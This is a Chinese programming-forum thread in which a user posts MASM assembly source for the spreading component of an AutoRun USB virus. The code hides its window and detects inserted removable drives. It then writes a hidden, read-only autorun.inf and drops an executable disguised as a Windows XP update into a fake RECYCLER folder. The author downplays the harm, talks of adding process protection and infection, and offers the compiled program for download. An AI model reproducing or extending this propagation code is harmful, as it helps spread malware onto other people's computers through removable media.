| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 3283 人关注过本帖, 3 人收藏
标题:用汇编写一个AutoRun病毒的传播部分
只看楼主 加入收藏
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
结帖率:100%
收藏(3)
 问题点数:0 回复次数:7 
用汇编写一个AutoRun病毒的传播部分
*/ --------------------------------------------------------------------------------------
*/ 出自: 编程中国 https://www.bccn.net
*/ 作者: zklhp   E-mail:zklhp@  QQ:493165744
*/ 时间: 2008-11-26 编程论坛首发
*/ 声明: 尊重作者劳动,转载请保留本段文字
*/ --------------------------------------------------------------------------------------

本程序使用的技术有点“病毒”味道 虽然没什么危害 还请谨慎使用 否则后果自负!!!

学校的电脑中了个叫 虚拟艺术 的 每次插到自己的电脑上还得杀毒~~~~ 一生气干脆自己也写一个

其实原理很简单 就是当硬件改变是得到U盘的盘符 写文件就行了

偶这个只是简单的往U盘上复制文件 离真正传播还远~~~

btw 偶往被感染盘上放的是一个增加论坛点击量的程序 静老大看了一定乐翻了  呵呵

贴下代码吧

程序代码:

;MASMPlus 代码模板 - 普通的 Windows 程序代码

.386
.Model Flat, StdCall
Option Casemap :None

Include windows.inc
Include user32.inc
Include kernel32.inc
Include gdi32.inc
include DBT.INC

includelib gdi32.lib
IncludeLib user32.lib
IncludeLib kernel32.lib

include macro.asm
include Data.asm
    WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
    WndProc PROTO :DWORD,:DWORD,:DWORD,:DWORD
    
.DATA
    szClassName db 33 dup(0)
    szFormate db '%08x%08x'

.DATA?
    hInstance dd ?
    hWinMain dd ?
    szBuffer db MAX_PATH dup(?)
    szPath dd MAX_PATH dup(?)

.CODE

;写入文件到U盘
;指定路径 数据 大小
_WriteFile  proc uses ebx esi edi _lpPath:DWORD,_lpBuf:DWORD,_dwLen:DWORD
    ;invoke MessageBox,0,CTXT('写文件'),CTXT('写文件'),0
    invoke CreateFile,_lpPath,\
    GENERIC_ALL,0,\
    NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_READONLY,NULL
    mov ebx,eax
    .if ebx != -1
        push eax
        mov ecx,esp
        invoke WriteFile,ebx,_lpBuf,_dwLen,ecx,0
        pop ecx
    .endif
    ;invoke CloseHandle,ebx
    ret
_WriteFile endp

;根据输入的掩码得到卷标
_GetVolumeName proc uses ebx esi edi flag:DWORD
    mov ecx,26
    mov esi,flag
@@:
    test esi,1h
    jnz @f
    shr esi,1h
    loop    @b
@@:
    mov eax,5Bh
    sub eax,ecx
    ret
_GetVolumeName endp

WndProc proc hWin:DWORD,uMsg:DWORD,wParam :DWORD,lParam :DWORD
    .if uMsg==WM_CREATE
        ;int 3h
    .elseif uMsg == WM_QUIT
        xor eax,eax
    
    .elseif uMsg == WM_DEVICECHANGE
        .if wParam == DBT_DEVICEARRIVAL ;U盘已插入
            ;invoke MessageBox,0,CTXT('插入'),CTXT('插入'),0
            mov    ebx, lParam
            assume ebx:ptr _DEV_BROADCAST_HDR
            .if [ebx].dbch_devicetype == DBT_DEVTYP_VOLUME ;检测是不是磁盘类USB设备
                ;invoke MessageBox,0,CTXT('是磁盘类USB设备'),CTXT('插入'),0
                mov edx,lParam
                assume edx:ptr _DEV_BROADCAST_VOLUME
                invoke _GetVolumeName,[edx].dbcv_unitmask
                push eax
                invoke wsprintf,offset szPath,CTXT('%c:\'),eax,0
                pop eax
                invoke GetDriveType,offset szPath
                .if eax == DRIVE_REMOVABLE;检测是不是硬动磁盘设备
                    ;invoke MessageBox,0,CTXT('是硬动磁盘设备'),CTXT('插入'),0
                    invoke Sleep, 1500
                    invoke lstrcpy,offset szBuffer,offset szPath
                    invoke lstrcat,offset szBuffer,CTXT('autorun.inf')
                    invoke lstrlen,offset szDeskTop
                    mov ecx,eax
                    invoke _WriteFile,offset szBuffer,offset szDeskTop,ecx
                    invoke lstrcpy,offset szBuffer,offset szPath 
                    invoke lstrcat,offset szBuffer,CTXT('RECYCLER')
                    invoke CreateDirectory,offset szBuffer,0
                    invoke lstrcpy,offset szBuffer,offset szPath
                    invoke lstrcat,offset szBuffer,CTXT('RECYCLER\WindowsXP-KB88168-x86-CHS.exe')
                    invoke _WriteFile,offset szBuffer,offset szExe,952d
                .endif
                assume edx:nothing
            .endif
            assume ebx:ptr nothing
        .elseif wParam == DBT_DEVICEREMOVECOMPLETE    ;U盘已拔出
            ;invoke MessageBox,0,CTXT('拔出'),CTXT('拔出'),0
        .endif
    .else
        invoke DefWindowProc,hWin,uMsg,wParam,lParam
    .endif
    ret
WndProc endp

WinMain proc hInst:DWORD,hPrevInst:DWORD,CmdLine:DWORD,CmdShow:DWORD
    LOCAL wc   :WNDCLASSEX
    LOCAL msg  :MSG
    local hWnd :HWND
    
    mov wc.cbSize,sizeof WNDCLASSEX
    mov wc.style,CS_HREDRAW or CS_VREDRAW or CS_BYTEALIGNWINDOW
    mov wc.lpfnWndProc,offset WndProc
    mov wc.cbClsExtra,NULL
    mov wc.cbWndExtra,NULL
    push hInst
    pop wc.hInstance
    mov wc.hbrBackground,COLOR_BTNFACE+1
    mov wc.lpszMenuName,NULL
    invoke GetTickCount
    push eax
    invoke GetTickCount
    push eax
    mov eax,offset szFormate
    push eax
    mov eax,offset szClassName
    push eax
    call wsprintf    ;随机生成~~~
    mov wc.lpszClassName,offset szClassName
    invoke LoadIcon,hInst,100
    mov wc.hIcon,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov wc.hCursor,eax
    mov wc.hIconSm,0
    invoke RegisterClassEx, ADDR wc
    ;这样窗口不会显示
    invoke CreateWindowEx,WS_EX_TOOLWINDOW,ADDR szClassName,offset szClassName,WS_POPUP or WS_SYSMENU, 0, 0, 0, 0,NULL, NULL, hInst, NULL
    mov hWnd,eax
    invoke ShowWindow,hWnd,SW_SHOWNORMAL
    invoke UpdateWindow,hWnd
    
    StartLoop:
        invoke GetMessage,ADDR msg,NULL,0,0
            cmp eax, 0
            je ExitLoop
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
            jmp StartLoop
    ExitLoop:
    
mov eax,msg.wParam
ret
WinMain endp

START:

    invoke GetModuleHandle,NULL
    mov hInstance,eax
    invoke WinMain,hInstance,NULL,NULL,SW_SHOWDEFAULT
    invoke ExitProcess,0

END START



想结束它很简单 在任务管理器里杀进程就行 可要是来个三线程 内核保护…… 就不好办了 呵呵 

程序参考了 lonkil 大侠的 AutoRun病毒的U盘检测部分实现 http://bbs. 在此向高人的无私奉献精神表示感谢

这个程序写的仓促 有不对的还望各位高手指出  谢谢了

程序+源码已打包

主程序
AutoRun.rar (25.47 KB)


弹窗口的程序(编译出来放在程序里了)
MessageBox.rar (5.04 KB)


再说一遍 别干坏事呀

[[it] 本帖最后由 zklhp 于 2008-12-4 12:54 编辑 [/it]]
收到的鲜花
  • cnhanxiao2008-11-29 14:08 送鲜花  50朵  
搜索更多相关主题的帖子: 汇编 
2008-11-26 20:05
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
收藏
得分:0 
又一个精华 谢谢静老大 自己顶一下吧

再写个多线程保护 再加上传染部分 就差不多是病毒了 呵呵

[[it] 本帖最后由 zklhp 于 2008-11-27 13:12 编辑 [/it]]
2008-11-27 13:07
stmchk
Rank: 1
等 级:新手上路
帖 子:3
专家分:0
注 册:2008-11-16
收藏
得分:0 
还没学到家 没看懂~
2008-11-28 15:33
ONEPROBLEM
Rank: 6Rank: 6
来 自:广西 南宁
等 级:贵宾
威 望:21
帖 子:1569
专家分:349
注 册:2008-7-11
收藏
得分:0 
收藏了先。。。
2008-11-28 23:41
cnhanxiao
Rank: 2
等 级:新手上路
威 望:4
帖 子:124
专家分:0
注 册:2008-10-17
收藏
得分:0 
小心公安请你喝茶

还有绑架成版主的?拒绝做版主——对不起啊!
2008-11-29 14:08
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
收藏
得分:0 
以下是引用cnhanxiao在2008-11-29 14:08的发言:

小心公安请你喝茶


谢谢老大加分!

偶又写了个远线程保护的~~~~~

这些没传播能力啊
2008-11-29 17:31
lk0328
Rank: 1
等 级:新手上路
帖 子:9
专家分:0
注 册:2007-6-24
收藏
得分:0 
学习。
2008-12-11 12:51
快速回复:用汇编写一个AutoRun病毒的传播部分
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.171146 second(s), 9 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved